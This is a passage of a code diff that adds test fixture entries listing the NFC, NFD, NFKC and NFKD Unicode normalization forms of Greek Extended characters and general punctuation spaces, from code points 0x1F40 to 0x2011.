+{ source: [0x1F40], NFC: [0x1F40], NFD: [0x03BF, 0x0313], NFKC: [0x1F40], NFKD: [0x03BF, 0x0313] },
+{ source: [0x1F41], NFC: [0x1F41], NFD: [0x03BF, 0x0314], NFKC: [0x1F41], NFKD: [0x03BF, 0x0314] },
+{ source: [0x1F42], NFC: [0x1F42], NFD: [0x03BF, 0x0313, 0x0300], NFKC: [0x1F42], NFKD: [0x03BF, 0x0313, 0x0300] },
+{ source: [0x1F43], NFC: [0x1F43], NFD: [0x03BF, 0x0314, 0x0300], NFKC: [0x1F43], NFKD: [0x03BF, 0x0314, 0x0300] },
+{ source: [0x1F44], NFC: [0x1F44], NFD: [0x03BF, 0x0313, 0x0301], NFKC: [0x1F44], NFKD: [0x03BF, 0x0313, 0x0301] },
+{ source: [0x1F45], NFC: [0x1F45], NFD: [0x03BF, 0x0314, 0x0301], NFKC: [0x1F45], NFKD: [0x03BF, 0x0314, 0x0301] },
+{ source: [0x1F48], NFC: [0x1F48], NFD: [0x039F, 0x0313], NFKC: [0x1F48], NFKD: [0x039F, 0x0313] },
+{ source: [0x1F49], NFC: [0x1F49], NFD: [0x039F, 0x0314], NFKC: [0x1F49], NFKD: [0x039F, 0x0314] },
+{ source: [0x1F4A], NFC: [0x1F4A], NFD: [0x039F, 0x0313, 0x0300], NFKC: [0x1F4A], NFKD: [0x039F, 0x0313, 0x0300] },
+{ source: [0x1F4B], NFC: [0x1F4B], NFD: [0x039F, 0x0314, 0x0300], NFKC: [0x1F4B], NFKD: [0x039F, 0x0314, 0x0300] },
+{ source: [0x1F4C], NFC: [0x1F4C], NFD: [0x039F, 0x0313, 0x0301], NFKC: [0x1F4C], NFKD: [0x039F, 0x0313, 0x0301] },
+{ source: [0x1F4D], NFC: [0x1F4D], NFD: [0x039F, 0x0314, 0x0301], NFKC: [0x1F4D], NFKD: [0x039F, 0x0314, 0x0301] },
+{ source: [0x1F50], NFC: [0x1F50], NFD: [0x03C5, 0x0313], NFKC: [0x1F50], NFKD: [0x03C5, 0x0313] },
+{ source: [0x1F51], NFC: [0x1F51], NFD: [0x03C5, 0x0314], NFKC: [0x1F51], NFKD: [0x03C5, 0x0314] },
+{ source: [0x1F52], NFC: [0x1F52], NFD: [0x03C5, 0x0313, 0x0300], NFKC: [0x1F52], NFKD: [0x03C5, 0x0313, 0x0300] },
+{ source: [0x1F53], NFC: [0x1F53], NFD: [0x03C5, 0x0314, 0x0300], NFKC: [0x1F53], NFKD: [0x03C5, 0x0314, 0x0300] },
+{ source: [0x1F54], NFC: [0x1F54], NFD: [0x03C5, 0x0313, 0x0301], NFKC: [0x1F54], NFKD: [0x03C5, 0x0313, 0x0301] },
+{ source: [0x1F55], NFC: [0x1F55], NFD: [0x03C5, 0x0314, 0x0301], NFKC: [0x1F55], NFKD: [0x03C5, 0x0314, 0x0301] },
+{ source: [0x1F56], NFC: [0x1F56], NFD: [0x03C5, 0x0313, 0x0342], NFKC: [0x1F56], NFKD: [0x03C5, 0x0313, 0x0342] },
+{ source: [0x1F57], NFC: [0x1F57], NFD: [0x03C5, 0x0314, 0x0342], NFKC: [0x1F57], NFKD: [0x03C5, 0x0314, 0x0342] },
+{ source: [0x1F59], NFC: [0x1F59], NFD: [0x03A5, 0x0314], NFKC: [0x1F59], NFKD: [0x03A5, 0x0314] },
+{ source: [0x1F5B], NFC: [0x1F5B], NFD: [0x03A5, 0x0314, 0x0300], NFKC: [0x1F5B], NFKD: [0x03A5, 0x0314, 0x0300] },
+{ source: [0x1F5D], NFC: [0x1F5D], NFD: [0x03A5, 0x0314, 0x0301], NFKC: [0x1F5D], NFKD: [0x03A5, 0x0314, 0x0301] },
+{ source: [0x1F5F], NFC: [0x1F5F], NFD: [0x03A5, 0x0314, 0x0342], NFKC: [0x1F5F], NFKD: [0x03A5, 0x0314, 0x0342] },
+{ source: [0x1F60], NFC: [0x1F60], NFD: [0x03C9, 0x0313], NFKC: [0x1F60], NFKD: [0x03C9, 0x0313] },
+{ source: [0x1F61], NFC: [0x1F61], NFD: [0x03C9, 0x0314], NFKC: [0x1F61], NFKD: [0x03C9, 0x0314] },
+{ source: [0x1F62], NFC: [0x1F62], NFD: [0x03C9, 0x0313, 0x0300], NFKC: [0x1F62], NFKD: [0x03C9, 0x0313, 0x0300] },
+{ source: [0x1F63], NFC: [0x1F63], NFD: [0x03C9, 0x0314, 0x0300], NFKC: [0x1F63], NFKD: [0x03C9, 0x0314, 0x0300] },
+{ source: [0x1F64], NFC: [0x1F64], NFD: [0x03C9, 0x0313, 0x0301], NFKC: [0x1F64], NFKD: [0x03C9, 0x0313, 0x0301] },
+{ source: [0x1F65], NFC: [0x1F65], NFD: [0x03C9, 0x0314, 0x0301], NFKC: [0x1F65], NFKD: [0x03C9, 0x0314, 0x0301] },
+{ source: [0x1F66], NFC: [0x1F66], NFD: [0x03C9, 0x0313, 0x0342], NFKC: [0x1F66], NFKD: [0x03C9, 0x0313, 0x0342] },
+{ source: [0x1F67], NFC: [0x1F67], NFD: [0x03C9, 0x0314, 0x0342], NFKC: [0x1F67], NFKD: [0x03C9, 0x0314, 0x0342] },
+{ source: [0x1F68], NFC: [0x1F68], NFD: [0x03A9, 0x0313], NFKC: [0x1F68], NFKD: [0x03A9, 0x0313] },
+{ source: [0x1F69], NFC: [0x1F69], NFD: [0x03A9, 0x0314], NFKC: [0x1F69], NFKD: [0x03A9, 0x0314] },
+{ source: [0x1F6A], NFC: [0x1F6A], NFD: [0x03A9, 0x0313, 0x0300], NFKC: [0x1F6A], NFKD: [0x03A9, 0x0313, 0x0300] },
+{ source: [0x1F6B], NFC: [0x1F6B], NFD: [0x03A9, 0x0314, 0x0300], NFKC: [0x1F6B], NFKD: [0x03A9, 0x0314, 0x0300] },
+{ source: [0x1F6C], NFC: [0x1F6C], NFD: [0x03A9, 0x0313, 0x0301], NFKC: [0x1F6C], NFKD: [0x03A9, 0x0313, 0x0301] },
+{ source: [0x1F6D], NFC: [0x1F6D], NFD: [0x03A9, 0x0314, 0x0301], NFKC: [0x1F6D], NFKD: [0x03A9, 0x0314, 0x0301] },
+{ source: [0x1F6E], NFC: [0x1F6E], NFD: [0x03A9, 0x0313, 0x0342], NFKC: [0x1F6E], NFKD: [0x03A9, 0x0313, 0x0342] },
+{ source: [0x1F6F], NFC: [0x1F6F], NFD: [0x03A9, 0x0314, 0x0342], NFKC: [0x1F6F], NFKD: [0x03A9, 0x0314, 0x0342] },
+{ source: [0x1F70], NFC: [0x1F70], NFD: [0x03B1, 0x0300], NFKC: [0x1F70], NFKD: [0x03B1, 0x0300] },
+{ source: [0x1F71], NFC: [0x03AC], NFD: [0x03B1, 0x0301], NFKC: [0x03AC], NFKD: [0x03B1, 0x0301] },
+{ source: [0x1F72], NFC: [0x1F72], NFD: [0x03B5, 0x0300], NFKC: [0x1F72], NFKD: [0x03B5, 0x0300] },
+{ source: [0x1F73], NFC: [0x03AD], NFD: [0x03B5, 0x0301], NFKC: [0x03AD], NFKD: [0x03B5, 0x0301] },
+{ source: [0x1F74], NFC: [0x1F74], NFD: [0x03B7, 0x0300], NFKC: [0x1F74], NFKD: [0x03B7, 0x0300] },
+{ source: [0x1F75], NFC: [0x03AE], NFD: [0x03B7, 0x0301], NFKC: [0x03AE], NFKD: [0x03B7, 0x0301] },
+{ source: [0x1F76], NFC: [0x1F76], NFD: [0x03B9, 0x0300], NFKC: [0x1F76], NFKD: [0x03B9, 0x0300] },
+{ source: [0x1F77], NFC: [0x03AF], NFD: [0x03B9, 0x0301], NFKC: [0x03AF], NFKD: [0x03B9, 0x0301] },
+{ source: [0x1F78], NFC: [0x1F78], NFD: [0x03BF, 0x0300], NFKC: [0x1F78], NFKD: [0x03BF, 0x0300] },
+{ source: [0x1F79], NFC: [0x03CC], NFD: [0x03BF, 0x0301], NFKC: [0x03CC], NFKD: [0x03BF, 0x0301] },
+{ source: [0x1F7A], NFC: [0x1F7A], NFD: [0x03C5, 0x0300], NFKC: [0x1F7A], NFKD: [0x03C5, 0x0300] },
+{ source: [0x1F7B], NFC: [0x03CD], NFD: [0x03C5, 0x0301], NFKC: [0x03CD], NFKD: [0x03C5, 0x0301] },
+{ source: [0x1F7C], NFC: [0x1F7C], NFD: [0x03C9, 0x0300], NFKC: [0x1F7C], NFKD: [0x03C9, 0x0300] },
+{ source: [0x1F7D], NFC: [0x03CE], NFD: [0x03C9, 0x0301], NFKC: [0x03CE], NFKD: [0x03C9, 0x0301] },
+{ source: [0x1F80], NFC: [0x1F80], NFD: [0x03B1, 0x0313, 0x0345], NFKC: [0x1F80], NFKD: [0x03B1, 0x0313, 0x0345] },
+{ source: [0x1F81], NFC: [0x1F81], NFD: [0x03B1, 0x0314, 0x0345], NFKC: [0x1F81], NFKD: [0x03B1, 0x0314, 0x0345] },
+{ source: [0x1F82], NFC: [0x1F82], NFD: [0x03B1, 0x0313, 0x0300, 0x0345], NFKC: [0x1F82], NFKD: [0x03B1, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F83], NFC: [0x1F83], NFD: [0x03B1, 0x0314, 0x0300, 0x0345], NFKC: [0x1F83], NFKD: [0x03B1, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F84], NFC: [0x1F84], NFD: [0x03B1, 0x0313, 0x0301, 0x0345], NFKC: [0x1F84], NFKD: [0x03B1, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F85], NFC: [0x1F85], NFD: [0x03B1, 0x0314, 0x0301, 0x0345], NFKC: [0x1F85], NFKD: [0x03B1, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F86], NFC: [0x1F86], NFD: [0x03B1, 0x0313, 0x0342, 0x0345], NFKC: [0x1F86], NFKD: [0x03B1, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F87], NFC: [0x1F87], NFD: [0x03B1, 0x0314, 0x0342, 0x0345], NFKC: [0x1F87], NFKD: [0x03B1, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1F88], NFC: [0x1F88], NFD: [0x0391, 0x0313, 0x0345], NFKC: [0x1F88], NFKD: [0x0391, 0x0313, 0x0345] },
+{ source: [0x1F89], NFC: [0x1F89], NFD: [0x0391, 0x0314, 0x0345], NFKC: [0x1F89], NFKD: [0x0391, 0x0314, 0x0345] },
+{ source: [0x1F8A], NFC: [0x1F8A], NFD: [0x0391, 0x0313, 0x0300, 0x0345], NFKC: [0x1F8A], NFKD: [0x0391, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F8B], NFC: [0x1F8B], NFD: [0x0391, 0x0314, 0x0300, 0x0345], NFKC: [0x1F8B], NFKD: [0x0391, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F8C], NFC: [0x1F8C], NFD: [0x0391, 0x0313, 0x0301, 0x0345], NFKC: [0x1F8C], NFKD: [0x0391, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F8D], NFC: [0x1F8D], NFD: [0x0391, 0x0314, 0x0301, 0x0345], NFKC: [0x1F8D], NFKD: [0x0391, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F8E], NFC: [0x1F8E], NFD: [0x0391, 0x0313, 0x0342, 0x0345], NFKC: [0x1F8E], NFKD: [0x0391, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F8F], NFC: [0x1F8F], NFD: [0x0391, 0x0314, 0x0342, 0x0345], NFKC: [0x1F8F], NFKD: [0x0391, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1F90], NFC: [0x1F90], NFD: [0x03B7, 0x0313, 0x0345], NFKC: [0x1F90], NFKD: [0x03B7, 0x0313, 0x0345] },
+{ source: [0x1F91], NFC: [0x1F91], NFD: [0x03B7, 0x0314, 0x0345], NFKC: [0x1F91], NFKD: [0x03B7, 0x0314, 0x0345] },
+{ source: [0x1F92], NFC: [0x1F92], NFD: [0x03B7, 0x0313, 0x0300, 0x0345], NFKC: [0x1F92], NFKD: [0x03B7, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F93], NFC: [0x1F93], NFD: [0x03B7, 0x0314, 0x0300, 0x0345], NFKC: [0x1F93], NFKD: [0x03B7, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F94], NFC: [0x1F94], NFD: [0x03B7, 0x0313, 0x0301, 0x0345], NFKC: [0x1F94], NFKD: [0x03B7, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F95], NFC: [0x1F95], NFD: [0x03B7, 0x0314, 0x0301, 0x0345], NFKC: [0x1F95], NFKD: [0x03B7, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F96], NFC: [0x1F96], NFD: [0x03B7, 0x0313, 0x0342, 0x0345], NFKC: [0x1F96], NFKD: [0x03B7, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F97], NFC: [0x1F97], NFD: [0x03B7, 0x0314, 0x0342, 0x0345], NFKC: [0x1F97], NFKD: [0x03B7, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1F98], NFC: [0x1F98], NFD: [0x0397, 0x0313, 0x0345], NFKC: [0x1F98], NFKD: [0x0397, 0x0313, 0x0345] },
+{ source: [0x1F99], NFC: [0x1F99], NFD: [0x0397, 0x0314, 0x0345], NFKC: [0x1F99], NFKD: [0x0397, 0x0314, 0x0345] },
+{ source: [0x1F9A], NFC: [0x1F9A], NFD: [0x0397, 0x0313, 0x0300, 0x0345], NFKC: [0x1F9A], NFKD: [0x0397, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F9B], NFC: [0x1F9B], NFD: [0x0397, 0x0314, 0x0300, 0x0345], NFKC: [0x1F9B], NFKD: [0x0397, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F9C], NFC: [0x1F9C], NFD: [0x0397, 0x0313, 0x0301, 0x0345], NFKC: [0x1F9C], NFKD: [0x0397, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F9D], NFC: [0x1F9D], NFD: [0x0397, 0x0314, 0x0301, 0x0345], NFKC: [0x1F9D], NFKD: [0x0397, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F9E], NFC: [0x1F9E], NFD: [0x0397, 0x0313, 0x0342, 0x0345], NFKC: [0x1F9E], NFKD: [0x0397, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F9F], NFC: [0x1F9F], NFD: [0x0397, 0x0314, 0x0342, 0x0345], NFKC: [0x1F9F], NFKD: [0x0397, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1FA0], NFC: [0x1FA0], NFD: [0x03C9, 0x0313, 0x0345], NFKC: [0x1FA0], NFKD: [0x03C9, 0x0313, 0x0345] },
+{ source: [0x1FA1], NFC: [0x1FA1], NFD: [0x03C9, 0x0314, 0x0345], NFKC: [0x1FA1], NFKD: [0x03C9, 0x0314, 0x0345] },
+{ source: [0x1FA2], NFC: [0x1FA2], NFD: [0x03C9, 0x0313, 0x0300, 0x0345], NFKC: [0x1FA2], NFKD: [0x03C9, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1FA3], NFC: [0x1FA3], NFD: [0x03C9, 0x0314, 0x0300, 0x0345], NFKC: [0x1FA3], NFKD: [0x03C9, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1FA4], NFC: [0x1FA4], NFD: [0x03C9, 0x0313, 0x0301, 0x0345], NFKC: [0x1FA4], NFKD: [0x03C9, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1FA5], NFC: [0x1FA5], NFD: [0x03C9, 0x0314, 0x0301, 0x0345], NFKC: [0x1FA5], NFKD: [0x03C9, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1FA6], NFC: [0x1FA6], NFD: [0x03C9, 0x0313, 0x0342, 0x0345], NFKC: [0x1FA6], NFKD: [0x03C9, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1FA7], NFC: [0x1FA7], NFD: [0x03C9, 0x0314, 0x0342, 0x0345], NFKC: [0x1FA7], NFKD: [0x03C9, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1FA8], NFC: [0x1FA8], NFD: [0x03A9, 0x0313, 0x0345], NFKC: [0x1FA8], NFKD: [0x03A9, 0x0313, 0x0345] },
+{ source: [0x1FA9], NFC: [0x1FA9], NFD: [0x03A9, 0x0314, 0x0345], NFKC: [0x1FA9], NFKD: [0x03A9, 0x0314, 0x0345] },
+{ source: [0x1FAA], NFC: [0x1FAA], NFD: [0x03A9, 0x0313, 0x0300, 0x0345], NFKC: [0x1FAA], NFKD: [0x03A9, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1FAB], NFC: [0x1FAB], NFD: [0x03A9, 0x0314, 0x0300, 0x0345], NFKC: [0x1FAB], NFKD: [0x03A9, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1FAC], NFC: [0x1FAC], NFD: [0x03A9, 0x0313, 0x0301, 0x0345], NFKC: [0x1FAC], NFKD: [0x03A9, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1FAD], NFC: [0x1FAD], NFD: [0x03A9, 0x0314, 0x0301, 0x0345], NFKC: [0x1FAD], NFKD: [0x03A9, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1FAE], NFC: [0x1FAE], NFD: [0x03A9, 0x0313, 0x0342, 0x0345], NFKC: [0x1FAE], NFKD: [0x03A9, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1FAF], NFC: [0x1FAF], NFD: [0x03A9, 0x0314, 0x0342, 0x0345], NFKC: [0x1FAF], NFKD: [0x03A9, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1FB0], NFC: [0x1FB0], NFD: [0x03B1, 0x0306], NFKC: [0x1FB0], NFKD: [0x03B1, 0x0306] },
+{ source: [0x1FB1], NFC: [0x1FB1], NFD: [0x03B1, 0x0304], NFKC: [0x1FB1], NFKD: [0x03B1, 0x0304] },
+{ source: [0x1FB2], NFC: [0x1FB2], NFD: [0x03B1, 0x0300, 0x0345], NFKC: [0x1FB2], NFKD: [0x03B1, 0x0300, 0x0345] },
+{ source: [0x1FB3], NFC: [0x1FB3], NFD: [0x03B1, 0x0345], NFKC: [0x1FB3], NFKD: [0x03B1, 0x0345] },
+{ source: [0x1FB4], NFC: [0x1FB4], NFD: [0x03B1, 0x0301, 0x0345], NFKC: [0x1FB4], NFKD: [0x03B1, 0x0301, 0x0345] },
+{ source: [0x1FB6], NFC: [0x1FB6], NFD: [0x03B1, 0x0342], NFKC: [0x1FB6], NFKD: [0x03B1, 0x0342] },
+{ source: [0x1FB7], NFC: [0x1FB7], NFD: [0x03B1, 0x0342, 0x0345], NFKC: [0x1FB7], NFKD: [0x03B1, 0x0342, 0x0345] },
+{ source: [0x1FB8], NFC: [0x1FB8], NFD: [0x0391, 0x0306], NFKC: [0x1FB8], NFKD: [0x0391, 0x0306] },
+{ source: [0x1FB9], NFC: [0x1FB9], NFD: [0x0391, 0x0304], NFKC: [0x1FB9], NFKD: [0x0391, 0x0304] },
+{ source: [0x1FBA], NFC: [0x1FBA], NFD: [0x0391, 0x0300], NFKC: [0x1FBA], NFKD: [0x0391, 0x0300] },
+{ source: [0x1FBB], NFC: [0x0386], NFD: [0x0391, 0x0301], NFKC: [0x0386], NFKD: [0x0391, 0x0301] },
+{ source: [0x1FBC], NFC: [0x1FBC], NFD: [0x0391, 0x0345], NFKC: [0x1FBC], NFKD: [0x0391, 0x0345] },
+{ source: [0x1FBD], NFC: [0x1FBD], NFD: [0x1FBD], NFKC: [0x0020, 0x0313], NFKD: [0x0020, 0x0313] },
+{ source: [0x1FBE], NFC: [0x03B9], NFD: [0x03B9], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1FBF], NFC: [0x1FBF], NFD: [0x1FBF], NFKC: [0x0020, 0x0313], NFKD: [0x0020, 0x0313] },
+{ source: [0x1FC0], NFC: [0x1FC0], NFD: [0x1FC0], NFKC: [0x0020, 0x0342], NFKD: [0x0020, 0x0342] },
+{ source: [0x1FC1], NFC: [0x1FC1], NFD: [0x00A8, 0x0342], NFKC: [0x0020, 0x0308, 0x0342], NFKD: [0x0020, 0x0308, 0x0342] },
+{ source: [0x1FC2], NFC: [0x1FC2], NFD: [0x03B7, 0x0300, 0x0345], NFKC: [0x1FC2], NFKD: [0x03B7, 0x0300, 0x0345] },
+{ source: [0x1FC3], NFC: [0x1FC3], NFD: [0x03B7, 0x0345], NFKC: [0x1FC3], NFKD: [0x03B7, 0x0345] },
+{ source: [0x1FC4], NFC: [0x1FC4], NFD: [0x03B7, 0x0301, 0x0345], NFKC: [0x1FC4], NFKD: [0x03B7, 0x0301, 0x0345] },
+{ source: [0x1FC6], NFC: [0x1FC6], NFD: [0x03B7, 0x0342], NFKC: [0x1FC6], NFKD: [0x03B7, 0x0342] },
+{ source: [0x1FC7], NFC: [0x1FC7], NFD: [0x03B7, 0x0342, 0x0345], NFKC: [0x1FC7], NFKD: [0x03B7, 0x0342, 0x0345] },
+{ source: [0x1FC8], NFC: [0x1FC8], NFD: [0x0395, 0x0300], NFKC: [0x1FC8], NFKD: [0x0395, 0x0300] },
+{ source: [0x1FC9], NFC: [0x0388], NFD: [0x0395, 0x0301], NFKC: [0x0388], NFKD: [0x0395, 0x0301] },
+{ source: [0x1FCA], NFC: [0x1FCA], NFD: [0x0397, 0x0300], NFKC: [0x1FCA], NFKD: [0x0397, 0x0300] },
+{ source: [0x1FCB], NFC: [0x0389], NFD: [0x0397, 0x0301], NFKC: [0x0389], NFKD: [0x0397, 0x0301] },
+{ source: [0x1FCC], NFC: [0x1FCC], NFD: [0x0397, 0x0345], NFKC: [0x1FCC], NFKD: [0x0397, 0x0345] },
+{ source: [0x1FCD], NFC: [0x1FCD], NFD: [0x1FBF, 0x0300], NFKC: [0x0020, 0x0313, 0x0300], NFKD: [0x0020, 0x0313, 0x0300] },
+{ source: [0x1FCE], NFC: [0x1FCE], NFD: [0x1FBF, 0x0301], NFKC: [0x0020, 0x0313, 0x0301], NFKD: [0x0020, 0x0313, 0x0301] },
+{ source: [0x1FCF], NFC: [0x1FCF], NFD: [0x1FBF, 0x0342], NFKC: [0x0020, 0x0313, 0x0342], NFKD: [0x0020, 0x0313, 0x0342] },
+{ source: [0x1FD0], NFC: [0x1FD0], NFD: [0x03B9, 0x0306], NFKC: [0x1FD0], NFKD: [0x03B9, 0x0306] },
+{ source: [0x1FD1], NFC: [0x1FD1], NFD: [0x03B9, 0x0304], NFKC: [0x1FD1], NFKD: [0x03B9, 0x0304] },
+{ source: [0x1FD2], NFC: [0x1FD2], NFD: [0x03B9, 0x0308, 0x0300], NFKC: [0x1FD2], NFKD: [0x03B9, 0x0308, 0x0300] },
+{ source: [0x1FD3], NFC: [0x0390], NFD: [0x03B9, 0x0308, 0x0301], NFKC: [0x0390], NFKD: [0x03B9, 0x0308, 0x0301] },
+{ source: [0x1FD6], NFC: [0x1FD6], NFD: [0x03B9, 0x0342], NFKC: [0x1FD6], NFKD: [0x03B9, 0x0342] },
+{ source: [0x1FD7], NFC: [0x1FD7], NFD: [0x03B9, 0x0308, 0x0342], NFKC: [0x1FD7], NFKD: [0x03B9, 0x0308, 0x0342] },
+{ source: [0x1FD8], NFC: [0x1FD8], NFD: [0x0399, 0x0306], NFKC: [0x1FD8], NFKD: [0x0399, 0x0306] },
+{ source: [0x1FD9], NFC: [0x1FD9], NFD: [0x0399, 0x0304], NFKC: [0x1FD9], NFKD: [0x0399, 0x0304] },
+{ source: [0x1FDA], NFC: [0x1FDA], NFD: [0x0399, 0x0300], NFKC: [0x1FDA], NFKD: [0x0399, 0x0300] },
+{ source: [0x1FDB], NFC: [0x038A], NFD: [0x0399, 0x0301], NFKC: [0x038A], NFKD: [0x0399, 0x0301] },
+{ source: [0x1FDD], NFC: [0x1FDD], NFD: [0x1FFE, 0x0300], NFKC: [0x0020, 0x0314, 0x0300], NFKD: [0x0020, 0x0314, 0x0300] },
+{ source: [0x1FDE], NFC: [0x1FDE], NFD: [0x1FFE, 0x0301], NFKC: [0x0020, 0x0314, 0x0301], NFKD: [0x0020, 0x0314, 0x0301] },
+{ source: [0x1FDF], NFC: [0x1FDF], NFD: [0x1FFE, 0x0342], NFKC: [0x0020, 0x0314, 0x0342], NFKD: [0x0020, 0x0314, 0x0342] },
+{ source: [0x1FE0], NFC: [0x1FE0], NFD: [0x03C5, 0x0306], NFKC: [0x1FE0], NFKD: [0x03C5, 0x0306] },
+{ source: [0x1FE1], NFC: [0x1FE1], NFD: [0x03C5, 0x0304], NFKC: [0x1FE1], NFKD: [0x03C5, 0x0304] },
+{ source: [0x1FE2], NFC: [0x1FE2], NFD: [0x03C5, 0x0308, 0x0300], NFKC: [0x1FE2], NFKD: [0x03C5, 0x0308, 0x0300] },
+{ source: [0x1FE3], NFC: [0x03B0], NFD: [0x03C5, 0x0308, 0x0301], NFKC: [0x03B0], NFKD: [0x03C5, 0x0308, 0x0301] },
+{ source: [0x1FE4], NFC: [0x1FE4], NFD: [0x03C1, 0x0313], NFKC: [0x1FE4], NFKD: [0x03C1, 0x0313] },
+{ source: [0x1FE5], NFC: [0x1FE5], NFD: [0x03C1, 0x0314], NFKC: [0x1FE5], NFKD: [0x03C1, 0x0314] },
+{ source: [0x1FE6], NFC: [0x1FE6], NFD: [0x03C5, 0x0342], NFKC: [0x1FE6], NFKD: [0x03C5, 0x0342] },
+{ source: [0x1FE7], NFC: [0x1FE7], NFD: [0x03C5, 0x0308, 0x0342], NFKC: [0x1FE7], NFKD: [0x03C5, 0x0308, 0x0342] },
+{ source: [0x1FE8], NFC: [0x1FE8], NFD: [0x03A5, 0x0306], NFKC: [0x1FE8], NFKD: [0x03A5, 0x0306] },
+{ source: [0x1FE9], NFC: [0x1FE9], NFD: [0x03A5, 0x0304], NFKC: [0x1FE9], NFKD: [0x03A5, 0x0304] },
+{ source: [0x1FEA], NFC: [0x1FEA], NFD: [0x03A5, 0x0300], NFKC: [0x1FEA], NFKD: [0x03A5, 0x0300] },
+{ source: [0x1FEB], NFC: [0x038E], NFD: [0x03A5, 0x0301], NFKC: [0x038E], NFKD: [0x03A5, 0x0301] },
+{ source: [0x1FEC], NFC: [0x1FEC], NFD: [0x03A1, 0x0314], NFKC: [0x1FEC], NFKD: [0x03A1, 0x0314] },
+{ source: [0x1FED], NFC: [0x1FED], NFD: [0x00A8, 0x0300], NFKC: [0x0020, 0x0308, 0x0300], NFKD: [0x0020, 0x0308, 0x0300] },
+{ source: [0x1FEE], NFC: [0x0385], NFD: [0x00A8, 0x0301], NFKC: [0x0020, 0x0308, 0x0301], NFKD: [0x0020, 0x0308, 0x0301] },
+{ source: [0x1FEF], NFC: [0x0060], NFD: [0x0060], NFKC: [0x0060], NFKD: [0x0060] },
+{ source: [0x1FF2], NFC: [0x1FF2], NFD: [0x03C9, 0x0300, 0x0345], NFKC: [0x1FF2], NFKD: [0x03C9, 0x0300, 0x0345] },
+{ source: [0x1FF3], NFC: [0x1FF3], NFD: [0x03C9, 0x0345], NFKC: [0x1FF3], NFKD: [0x03C9, 0x0345] },
+{ source: [0x1FF4], NFC: [0x1FF4], NFD: [0x03C9, 0x0301, 0x0345], NFKC: [0x1FF4], NFKD: [0x03C9, 0x0301, 0x0345] },
+{ source: [0x1FF6], NFC: [0x1FF6], NFD: [0x03C9, 0x0342], NFKC: [0x1FF6], NFKD: [0x03C9, 0x0342] },
+{ source: [0x1FF7], NFC: [0x1FF7], NFD: [0x03C9, 0x0342, 0x0345], NFKC: [0x1FF7], NFKD: [0x03C9, 0x0342, 0x0345] },
+{ source: [0x1FF8], NFC: [0x1FF8], NFD: [0x039F, 0x0300], NFKC: [0x1FF8], NFKD: [0x039F, 0x0300] },
+{ source: [0x1FF9], NFC: [0x038C], NFD: [0x039F, 0x0301], NFKC: [0x038C], NFKD: [0x039F, 0x0301] },
+{ source: [0x1FFA], NFC: [0x1FFA], NFD: [0x03A9, 0x0300], NFKC: [0x1FFA], NFKD: [0x03A9, 0x0300] },
+{ source: [0x1FFB], NFC: [0x038F], NFD: [0x03A9, 0x0301], NFKC: [0x038F], NFKD: [0x03A9, 0x0301] },
+{ source: [0x1FFC], NFC: [0x1FFC], NFD: [0x03A9, 0x0345], NFKC: [0x1FFC], NFKD: [0x03A9, 0x0345] },
+{ source: [0x1FFD], NFC: [0x00B4], NFD: [0x00B4], NFKC: [0x0020, 0x0301], NFKD: [0x0020, 0x0301] },
+{ source: [0x1FFE], NFC: [0x1FFE], NFD: [0x1FFE], NFKC: [0x0020, 0x0314], NFKD: [0x0020, 0x0314] },
+{ source: [0x2000], NFC: [0x2002], NFD: [0x2002], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2001], NFC: [0x2003], NFD: [0x2003], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2002], NFC: [0x2002], NFD: [0x2002], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2003], NFC: [0x2003], NFD: [0x2003], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2004], NFC: [0x2004], NFD: [0x2004], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2005], NFC: [0x2005], NFD: [0x2005], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2006], NFC: [0x2006], NFD: [0x2006], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2007], NFC: [0x2007], NFD: [0x2007], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2008], NFC: [0x2008], NFD: [0x2008], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2009], NFC: [0x2009], NFD: [0x2009], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x200A], NFC: [0x200A], NFD: [0x200A], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2011], NFC: [0x2011], NFD: [0x2011], NFKC: [0x2010], NFKD: [0x2010] },
